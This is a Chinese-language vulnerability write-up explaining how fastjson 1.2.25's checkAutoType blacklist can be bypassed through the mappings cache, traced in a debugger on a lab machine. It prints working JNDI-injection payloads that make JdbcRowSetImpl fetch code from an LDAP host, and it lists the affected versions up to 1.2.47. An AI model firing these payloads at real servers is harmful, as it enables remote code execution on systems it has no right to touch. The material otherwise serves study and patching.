FastJson之autotype bypass
在1.2.25版本之後,添加了checkAutoType方法。在方法中引入了白名單(AutoType)、黑名單(denyList)和autoTypeSupport選項
checkAutoType方法
把ubuntu靶機的fastjson版本換到1.2.25,使用原始的payload進行debug
{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail", "autoCommit":true}}
在DefaultJSONParser#parseObject中被添加的checkAutoType()方法
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsISPrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdsATOfd3bkFGazxCMx8VesATMfhHLlN3XnxCMwEzX0xiRGZkRGZ0Xy9GbvNGLpZTY1EmMZVDUSFTU4VFRR9Fd4VGdsYTMfVmepNHLrJXYtJXZ0F2dvwVZnFWbp1zczV2YvJHctM3cv1Ce-cmbw5yMhRTNwIWYkRDMzYTNkdjZ2EzNmlzM1ADOykDOiFzNz8CX0AzLchDMxIDMy8CXn9Gbi9CXzV2Zh1WavwVbvNmLvR3YxUjL1M3Lc9CX6MHc0RHaiojIsJye.png)
對比下圖1.2.24版本的DefaultJSONParser#parseObject方法
autoTypeSupport
autoTypeSupport值:autoTypeSupport值在1.2.25版本開始的預設是為false(fastjson>=1.2.25預設為false)
開啟方式:在代碼中加入ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
首先跟進checkAutoType()方法,在方法710行中出現了autoTypeSupport
mappings緩存
mappings作用:在fastjson中,mappings作為一個緩存的功能,但是對繞過黑白名單起了一個很關鍵的作用,能繞過黑白名單的檢查
在728行,出現了getClassFromMapping()方法,對typeName進行了解析(typeName就是com.sun.rowset.JdbcRowSetImpl)
跟進getClassFromMapping()方法後發現,這裡從mappings中尋找key為com.sun.rowset.JdbcRowSetImpl的元素,并且傳回對應的鍵值。
mappings集合中的資料對整個邏輯起了很重要的作用,下面隻展示了部分mappings中的資料
最後會把從mappings中找到的元素進行傳回給clazz,由于mappings集合中并沒有com.sun.rowset.JdbcRowSetImpl元素,是以傳回了null給clazz
繼續往下,由于clazz為null,是以if判斷為了false,直接走到了else中
這裡又進行了一次autoTypeSupport值的判斷,前面說了1.2.25開始預設為false,是以if判斷為true進入下面的代碼
denyList黑名單
denyList黑名單:在fastjson中,用了denyList黑名單來判斷是否通過,比對到黑名單就會直接抛出異常JSONException("autoType is not support. " + typeName)
從743行的for中周遊denyList數組中的元素,用if判斷JdbcRowSetImpl是否存在denyList數組中
下面是denyList數組名單,com.sun.rowset.JdbcRowSetImpl被包含在了第3個
循環到第三次的時候,查到JdbcRowSetImpl存在于黑名單,是以抛出了異常
以上就是原始的payload打過去的效果了,可以發現,先是比對了mappings緩存傳回了null值,讓if判斷進入了else代碼中,而else代碼中則用denyList黑名單進行比對抛出了異常,導緻了payload失效
AutoType白名單
AutoType白名單:
- 當autoTypeSupport為true時,先進行白名單過濾,比對成功即可加載該類并傳回;否則進行黑名單過濾,比對成功直接報錯;兩者皆未比對成功,則加載該類
- 當autoTypeSupport為false時,先進行黑名單過濾,比對成功直接報錯;再比對白名單,比對成功即可加載該類并傳回;兩者皆未比對成功,則報錯
而AutoType白名單預設為null,由使用者自己設定
當autoTypeSupport為預設值(false)時候,會先進行 黑名單比對denyList,比對不成功則進入白名單比對
繞過黑名單檢查
前面說了,fastjson會從mappings緩存中讀取JdbcRowSetImpl然後指派給clazz。由于緩存中并不存在JdbcRowSetImpl,是以為null,則進入了else邏輯進行黑名單判斷
繞過思路為讓com.sun.rowset.JdbcRowSetImpl進入一次mapping緩存,第二次再執行checkAutoType方法就會從mapping緩存中取出com.sun.rowset.JdbcRowSetImpl進而繞過黑白名單
以下是繞過更新檔的payload:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}
關于com.sun.rowset.JdbcRowSetImpl是怎麼加入mapping緩存的可以看看這篇文章,有詳細講到:http://blog.topsec.com.cn/fastjson曆史漏洞研究(二)/
發送payload後,檢視checkAutoType方法
可以看到,這裡clazz已經不為null,直接if判斷為了true,進而不進入else語句,直接進行了return,進而繞過了檢查
最終彈出電腦
總結:
payload:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:6666/Evail","autoCommit":true}}
1.2.25-1.2.32版本:需要未開啟AutoTypeSupport。開啟了AutoTypeSupport将導緻失效
1.2.33-1.2.47版本:無論是否開啟AutoTypeSuppt,都能成功利用
原因是1.2.33版本,以下的黑名單過濾判斷中,com.sun.rowset.JdbcRowSetImpl存在于mappings緩存中導緻了第二個判斷條件為false,進而使得黑名單判斷語句失效